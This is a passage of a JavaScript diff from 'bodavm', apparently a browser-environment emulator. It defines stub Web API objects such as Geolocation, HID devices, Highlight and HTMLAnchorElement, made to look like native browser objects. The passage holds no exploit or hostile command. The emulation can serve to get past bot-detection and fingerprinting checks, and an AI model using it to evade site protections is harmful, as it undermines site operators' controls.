arguments); + } +}, 'prototype'); +// GeolocationCoordinates对象 + +bodavm.memory.globalobj['GeolocationCoordinates'] = function GeolocationCoordinates() { + console.log_copy('GeolocationCoordinates 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GeolocationCoordinates)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationCoordinates'], "GeolocationCoordinates"); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "latitude", { + configurable: true, + enumerable: true, + get: function latitude() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "latitude_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "longitude", { + configurable: true, + enumerable: true, + get: function longitude() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "longitude_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "altitude", { + configurable: true, + enumerable: true, + get: function altitude() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "altitude_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "accuracy", { + configurable: true, + enumerable: true, + get: function accuracy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "accuracy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "altitudeAccuracy", { + configurable: true, + enumerable: true, + get: function altitudeAccuracy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "altitudeAccuracy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "heading", { + configurable: true, + enumerable: true, + get: function heading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "heading_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "speed", { + configurable: true, + enumerable: true, + get: function speed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "speed_get", arguments); + }, + set: undefined +}, 'prototype'); +// GeolocationPosition对象 + +bodavm.memory.globalobj['GeolocationPosition'] = function GeolocationPosition() { + console.log_copy('GeolocationPosition 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GeolocationPosition)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationPosition'], "GeolocationPosition"); +bodavm.toolsFunc.defineProperty('GeolocationPosition', "coords", { + configurable: true, + enumerable: true, + get: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPosition'].prototype, "GeolocationPosition", "coords_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPosition', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPosition'].prototype, "GeolocationPosition", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +// GeolocationPositionError对象 + +bodavm.memory.globalobj['GeolocationPositionError'] = function GeolocationPositionError() { + console.log_copy('GeolocationPositionError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GeolocationPositionError)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationPositionError'], "GeolocationPositionError"); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "PERMISSION_DENIED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "POSITION_UNAVAILABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "TIMEOUT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPositionError'].prototype, "GeolocationPositionError", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPositionError'].prototype, "GeolocationPositionError", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "PERMISSION_DENIED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "POSITION_UNAVAILABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "TIMEOUT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +// getComputedStyle对象 + +bodavm.memory.globalobj['getComputedStyle'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('getComputedStyle', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('getComputedStyle', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "getComputedStyle" +}); +// getScreenDetails对象 + +bodavm.memory.globalobj['getScreenDetails'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('getScreenDetails', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('getScreenDetails', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "getScreenDetails" +}); +// getSelection对象 + +bodavm.memory.globalobj['getSelection'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('getSelection', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('getSelection', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "getSelection" +}); +// GravitySensor对象 + +bodavm.memory.globalobj['GravitySensor'] = function GravitySensor() { + console.log_copy('GravitySensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.GravitySensor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GravitySensor'], "GravitySensor"); +bodavm.memory.globalobj['GravitySensor'].prototype.__proto__ = bodavm.memory.globalobj['Accelerometer'].prototype; +bodavm.memory.globalobj['GravitySensor'].__proto__ = bodavm.memory.globalobj['Accelerometer']; +// Gyroscope对象 + +bodavm.memory.globalobj['Gyroscope'] = function Gyroscope() { + console.log_copy('Gyroscope 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Gyroscope(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Gyroscope'], "Gyroscope"); +bodavm.memory.globalobj['Gyroscope'].prototype.__proto__ = bodavm.memory.globalobj['Sensor'].prototype; +bodavm.memory.globalobj['Gyroscope'].__proto__ = bodavm.memory.globalobj['Sensor']; +bodavm.toolsFunc.defineProperty('Gyroscope', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gyroscope', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gyroscope', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "z_get", arguments); + }, + set: undefined +}, 'prototype'); +// HashChangeEvent对象 + +bodavm.memory.globalobj['HashChangeEvent'] = function HashChangeEvent() { + console.log_copy('HashChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HashChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HashChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HashChangeEvent'], "HashChangeEvent"); +bodavm.memory.globalobj['HashChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['HashChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('HashChangeEvent', "oldURL", { + configurable: true, + enumerable: true, + get: function oldURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HashChangeEvent'].prototype, "HashChangeEvent", "oldURL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HashChangeEvent', "newURL", { + configurable: true, + enumerable: true, + get: function newURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HashChangeEvent'].prototype, "HashChangeEvent", "newURL_get", arguments); + }, + set: undefined +}, 'prototype'); +// HID对象 + +bodavm.memory.globalobj['HID'] = function HID() { + console.log_copy('HID 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HID)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HID'], "HID"); +bodavm.memory.globalobj['HID'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['HID'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('HID', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HID', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HID', "getDevices", { + configurable: true, + enumerable: true, + writable: true, + value: function getDevices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "getDevices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HID', "requestDevice", { + configurable: true, + enumerable: true, + writable: true, + value: function requestDevice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "requestDevice", arguments); + } +}, 'prototype'); +// HIDConnectionEvent对象 + +bodavm.memory.globalobj['HIDConnectionEvent'] = function HIDConnectionEvent() { + console.log_copy('HIDConnectionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HIDConnectionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HIDConnectionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDConnectionEvent'], "HIDConnectionEvent"); +bodavm.memory.globalobj['HIDConnectionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['HIDConnectionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('HIDConnectionEvent', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDConnectionEvent'].prototype, "HIDConnectionEvent", "device_get", arguments); + }, + set: undefined +}, 'prototype'); +// HIDDevice对象 + +bodavm.memory.globalobj['HIDDevice'] = function HIDDevice() { + console.log_copy('HIDDevice 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HIDDevice)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDDevice'], "HIDDevice"); +bodavm.memory.globalobj['HIDDevice'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['HIDDevice'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('HIDDevice', "oninputreport", { + configurable: true, + enumerable: true, + get: function oninputreport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "oninputreport_get", arguments); + }, + set: function oninputreport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "oninputreport_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "opened", { + configurable: true, + enumerable: true, + get: function opened() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "opened_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "vendorId", { + configurable: true, + enumerable: true, + get: function vendorId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "vendorId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "productId", { + configurable: true, + enumerable: true, + get: function productId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "productId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "productName", { + configurable: true, + enumerable: true, + get: function productName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "productName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "collections", { + configurable: true, + enumerable: true, + get: function collections() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "collections_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "forget", { + configurable: true, + enumerable: true, + writable: true, + value: function forget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "forget", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "receiveFeatureReport", { + configurable: true, + enumerable: true, + writable: true, + value: function receiveFeatureReport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "receiveFeatureReport", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "sendFeatureReport", { + configurable: true, + enumerable: true, + writable: true, + value: function sendFeatureReport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "sendFeatureReport", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "sendReport", { + configurable: true, + enumerable: true, + writable: true, + value: function sendReport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "sendReport", arguments); + } +}, 'prototype'); +// HIDInputReportEvent对象 + +bodavm.memory.globalobj['HIDInputReportEvent'] = function HIDInputReportEvent() { + console.log_copy('HIDInputReportEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HIDInputReportEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDInputReportEvent'], "HIDInputReportEvent"); +bodavm.memory.globalobj['HIDInputReportEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['HIDInputReportEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "device_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "reportId", { + configurable: true, + enumerable: true, + get: function reportId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "reportId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +// Highlight对象 + +bodavm.memory.globalobj['Highlight'] = function Highlight() { + console.log_copy('Highlight 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Highlight(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Highlight'], "Highlight"); +bodavm.toolsFunc.defineProperty('Highlight', "priority", { + configurable: true, + enumerable: true, + get: function priority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "priority_get", arguments); + }, + set: function priority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "priority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Highlight', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "values", arguments); + } +}, 'prototype'); +// HighlightRegistry对象 + +bodavm.memory.globalobj['HighlightRegistry'] = function HighlightRegistry() { + console.log_copy('HighlightRegistry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HighlightRegistry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HighlightRegistry'], "HighlightRegistry"); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HighlightRegistry', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "values", arguments); + } +}, 'prototype'); +// HTMLAllCollection对象 + +bodavm.memory.globalobj['HTMLAllCollection'] = function HTMLAllCollection() { + console.log_copy('HTMLAllCollection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLAllCollection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAllCollection'], "HTMLAllCollection"); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "namedItem", arguments); + } +}, 'prototype'); +// HTMLAnchorElement对象 + +bodavm.memory.globalobj['HTMLAnchorElement'] = function HTMLAnchorElement() { + console.log_copy('HTMLAnchorElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLAnchorElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAnchorElement'], "HTMLAnchorElement"); +bodavm.memory.globalobj['HTMLAnchorElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLAnchorElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "download", { + configurable: true, + enumerable: true, + get: function download() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_get", arguments); + }, + set: function download() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "ping", { + configurable: true, + enumerable: true, + get: function ping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_get", arguments); + }, + set: function ping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rel", { + configurable: true, + enumerable: true, + get: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_get", arguments); + }, + set: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, 